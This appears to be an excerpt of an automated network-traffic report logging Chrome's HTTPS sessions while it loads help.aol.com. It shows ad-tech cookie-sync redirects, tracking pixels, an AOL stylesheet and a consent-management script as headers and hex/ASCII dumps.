2024-05-23 22:35:04 UTC	750	OUT	GET /pixel?google_nid=rp&google_cm&google_hm=TFdKVFpBQk4tWC1LNFBX&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	686	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAESEMxCgBPxbeGkuZl1fTy1f3Y&google_cver=1 Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 325 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	325	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 64 66 70 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAES

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.6	50192	208.93.169.131	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	853	OUT	GET /bh/rtset?pid=561118&ev=1&rurl=https%3a%2f%2fads.yieldmo.com/v000/sync?userid=%%VGUID%%&pn_id=pp&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&us_privacy= HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: V=7WXU1ZUhF2Kx; VP=part_7WXU1ZUhF2Kx; pb_rtb_ev=3-1rj5\|7bq.0.1; pb_rtb_ev_part=3-1rj5\|7bq.0.1; INGRESSCOOKIE=c5b45f34918a01ee
2024-05-23 22:35:04 UTC	1265	IN	HTTP/1.1 302 Found p3p: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" accept-ch: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version cw-server: bh-deployment-77c5966d9-nb8fh cache-control: private, max-age=0, no-cache, no-store expires: -1 content-language: en-US set-cookie: V=7WXU1ZUhF2Kx;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 18-May-2025 22:35:04 GMT;Max-Age=31104000;SameSite=None set-cookie: VP=part_7WXU1ZUhF2Kx;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 18-May-2025 22:35:04 GMT;SameSite=None;Partitioned set-cookie: pb_rtb_ev=3-1rj5\|7TZ.0.1\|7bq.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 23-May-2025 22:35:04 GMT;Max-Age=31536000;SameSite=None set-cookie: pb_rtb_ev_part=3-1rj5\|7TZ.0.1\|7bq.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 23-May-2025 22:35:04 GMT;SameSite=None;Partitioned location: https://ads.yieldmo.com/v000/sync?userid=7WXU1ZUhF2Kx&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=&pid=561118&gdpr_consent=&gdpr=0 transfer-encoding: chunked server: Jetty(10.0.14) connection: close
2024-05-23 22:35:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.6	50172	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	787	OUT	GET /usersync?b=pbm&i=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:04 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.6	50204	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	665	OUT	GET /usersync?b=sad&i=8330378466080050028 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:04 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.6	50173	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	815	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
2024-05-23 22:35:04 UTC	304	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:04 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ads.avct.cloud/getuid?url=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D59%26user_id%3D%7B%7BUUID%7D%7D%26ssp%3Dpubmatic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.6	50197	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	582	OUT	GET /caas-assets-production/assets/v1/common.5a5e92d32c044529.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	623	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5251920 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:35:04 GMT Etag: "5a5e92d32c044529f643b0866f9f8b10" Last-Modified: Mon, 27 Nov 2023 16:42:52 GMT Server: ECAcc (lhd/3589) Vary: Accept-Encoding x-amz-id-2: cVxejrXdLOfnN45c7h9Suh55hzw+hBqXME7SUoixwhvCAridAlSh6gANNKMBsYV9JbvoFn9Enmk= x-amz-replication-status: COMPLETED x-amz-request-id: EACG04DZPK4RTB3S x-amz-server-side-encryption: AES256 x-amz-version-id: 0hd3HDa_jXWl7z8jPcLbY1y44EoI1rdO X-Cache: HIT Content-Length: 155457 Connection: close
2024-05-23 22:35:04 UTC	16383	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 6d 61 69 6c 2d 62 67 63 3a 23 66 39 66 39 66 39 3b 2d 2d 74 65 78 74 2d 62 61 73 65 3a 23 32 33 32 61 33 31 3b 2d 2d 74 65 78 74 2d 67 72 61 79 3a 23 36 65 37 37 38 30 3b 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 23 30 66 36 39 66 66 3b 2d 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 23 30 65 35 65 65 36 3b 2d 2d 62 67 2d 61 63 63 65 6e 74 3a 23 66 66 66 3b 2d 2d 62 67 2d 61 63 63 65 6e 74 2d 64 61 72 6b 3a 72 67 62 61 28 31 35 2c 31 30 35 2c 32 35 35 2c 30 2e 36 35 29 3b 2d 2d 6d 61 69 6c 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 2d 6d 61 69 6c 2d 62 67 2d 6e 65 77 3a 23 66 66 66 3b 2d 2d 6d 61 69 6c 2d 62 67 2d 68 6f 76 65 72 3a 23 66 35 66 38 66 61 3b 2d 2d 6d 61 69 6c 2d 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e Data Ascii: :root{--mail-bgc:#f9f9f9;--text-base:#232a31;--text-gray:#6e7780;--accent-color:#0f69ff;--hover-color:#0e5ee6;--bg-accent:#fff;--bg-accent-dark:rgba(15,105,255,0.65);--mail-border-color:#fff;--mail-bg-new:#fff;--mail-bg-hover:#f5f8fa;--mail-border-style:n
2024-05-23 22:35:04 UTC	1	IN	Data Raw: 61 Data Ascii: a
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 32 35 72 65 6d 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 33 37 2e 35 36 32 35 65 6d 29 7b 2e 67 72 69 64 2d 63 6f 6e 74 61 69 6e 65 72 2e 66 6c 75 69 64 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 36 2e 33 31 32 35 65 6d 29 7b 2e 67 72 69 64 2d 63 6f 6e 74 61 69 6e 65 72 2e 66 6c 75 69 64 7b 70 61 64 64 69 6e Data Ascii: dding-left:1.25rem;max-width:100%;margin-left:auto;margin-right:auto}@media print,screen and (min-width:37.5625em){.grid-container.fluid{padding-right:1.25rem;padding-left:1.25rem}}@media print,screen and (min-width:56.3125em){.grid-container.fluid{paddin
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 6c 63 28 31 36 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 6d 2d 33 7b 77 69 64 74 68 3a 63 61 6c 63 28 32 35 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 6d 2d 34 7b 77 69 64 74 68 3a 63 61 6c 63 28 33 33 2e 33 33 33 33 33 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 6d 2d 35 7b 77 69 64 74 68 3a 63 61 6c 63 28 34 31 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 6d 2d 36 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 6d 2d 37 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 38 2e 33 33 33 33 33 25 Data Ascii: lc(16.66667% - 2.5rem)}.grid-margin-x>.m-3{width:calc(25% - 2.5rem)}.grid-margin-x>.m-4{width:calc(33.33333% - 2.5rem)}.grid-margin-x>.m-5{width:calc(41.66667% - 2.5rem)}.grid-margin-x>.m-6{width:calc(50% - 2.5rem)}.grid-margin-x>.m-7{width:calc(58.33333%
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 33 37 2e 35 36 32 35 65 6d 29 7b 2e 67 72 69 64 2d 70 61 64 64 69 6e 67 2d 78 3e 2e 63 65 6c 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 36 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 36 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 36 2e 33 31 32 35 65 6d 29 7b 2e 67 72 69 64 2d 70 61 64 64 69 6e 67 2d 78 3e 2e 63 65 6c 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 36 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 36 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 30 Data Ascii: print,screen and (min-width:37.5625em){.grid-padding-x>.cell{padding-right:.625rem;padding-left:.625rem}}@media print,screen and (min-width:56.3125em){.grid-padding-x>.cell{padding-right:.625rem;padding-left:.625rem}}@media print,screen and (min-width:70
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 33 37 2e 35 36 32 35 65 6d 29 7b 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 2c 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 63 65 6c 6c 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 33 37 2e 35 36 32 35 65 6d 29 7b 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 78 78 73 2d 31 7b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 78 78 73 2d 32 7b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 Data Ascii: edia print,screen and (min-width:37.5625em){.xs-margin-collapse,.xs-margin-collapse>.cell{margin-right:0;margin-left:0}}@media print,screen and (min-width:37.5625em){.xs-margin-collapse>.xxs-1{width:8.3333333333%}.xs-margin-collapse>.xxs-2{width:16.666666
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 35 25 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 78 78 6c 2d 31 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 78 78 6c 2d 31 31 7b 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 78 78 6c 2d 31 32 7b 77 69 64 74 68 3a 31 30 30 25 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 30 2e 30 36 32 35 65 6d 29 7b 2e 6c 2d 70 61 64 64 69 6e 67 2d 63 6f 6c 6c 61 70 73 65 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6c 2d 70 61 64 64 69 6e 67 2d 63 6f 6c 6c 61 70 73 65 3e 2e 63 Data Ascii: 5%}.l-margin-collapse>.xxl-10{width:83.3333333333%}.l-margin-collapse>.xxl-11{width:91.6666666667%}.l-margin-collapse>.xxl-12{width:100%}}@media print,screen and (min-width:80.0625em){.l-padding-collapse{margin-right:0;margin-left:0}.l-padding-collapse>.c
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 33 33 33 33 33 25 20 2b 20 31 2e 32 35 72 65 6d 29 7d 2e 78 78 6c 2d 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 78 6c 2d 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 63 61 6c 63 28 31 36 2e 36 36 36 36 37 25 20 2b 20 31 2e 32 35 72 65 6d 29 7d 2e 78 78 6c 2d 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 78 6c 2d 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 63 61 6c 63 28 32 35 25 20 2b 20 31 2e 32 35 72 65 6d 29 7d 2e 78 78 6c 2d 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 33 Data Ascii: 33333% + 1.25rem)}.xxl-offset-2{margin-left:16.6666666667%}.grid-margin-x>.xxl-offset-2{margin-left:calc(16.66667% + 1.25rem)}.xxl-offset-3{margin-left:25%}.grid-margin-x>.xxl-offset-3{margin-left:calc(25% + 1.25rem)}.xxl-offset-4{margin-left:33.333333333
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 63 68 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 61 75 74 6f 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 30 2e 30 36 32 35 65 6d 29 7b 2e 67 72 69 64 2d 79 2e 6c 2d 67 72 69 64 2d 66 72 61 6d 65 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 73 74 72 65 74 63 68 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 73 74 72 65 74 63 68 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 Data Ascii: ch;align-items:stretch;height:100vh;width:auto}}@media print,screen and (min-width:80.0625em){.grid-y.l-grid-frame{overflow:hidden;position:relative;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 33 33 33 33 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 3e 2e 6d 2d 38 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 36 36 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 3e 2e 6d 2d 39 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 37 35 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 3e 2e 6d 2d 31 30 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 38 33 2e 33 33 33 33 33 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 3e 2e 6d 2d 31 31 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 39 31 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 3e 2e 6d 2d 31 32 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 Data Ascii: 3333% - 2.5rem)}.grid-margin-y>.m-8{height:calc(66.66667% - 2.5rem)}.grid-margin-y>.m-9{height:calc(75% - 2.5rem)}.grid-margin-y>.m-10{height:calc(83.33333% - 2.5rem)}.grid-margin-y>.m-11{height:calc(91.66667% - 2.5rem)}.grid-margin-y>.m-12{height:calc(10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.6	50206	152.195.53.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	530	OUT	GET /cmpStub.min.js HTTP/1.1 Host: consent.cmp.oath.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	501	IN	HTTP/1.1 200 OK Age: 1653 Cache-Control: max-age=3600 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:04 GMT Etag: "1229c537c90bea4f08c34f64edd086da+gzip+ident" Expires: Thu, 23 May 2024 23:35:04 GMT Last-Modified: Thu, 08 Feb 2024 18:14:22 GMT Server: ECD (lhc/788B) Vary: Accept-Encoding x-amz-id-2: d4956MYKe0Q4vK5tVsLUi+0DQmnMBhYEPCayJdsaWMUnFje5X0GbdLwQ0xNzNL/i1vzaHr2UtBQ= x-amz-request-id: XM0YW4JS3R4AESE7 X-Cache: HIT Content-Length: 5556 Connection: close
2024-05-23 22:35:04 UTC	5556	IN	Data Raw: 2f 2a 21 20 43 4d 50 20 36 2e 34 2e 31 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 38 20 4f 61 74 68 20 48 6f 6c 64 69 6e 67 73 2c 20 49 6e 63 2e 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 31 38 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 28 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 Data Ascii: /! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return 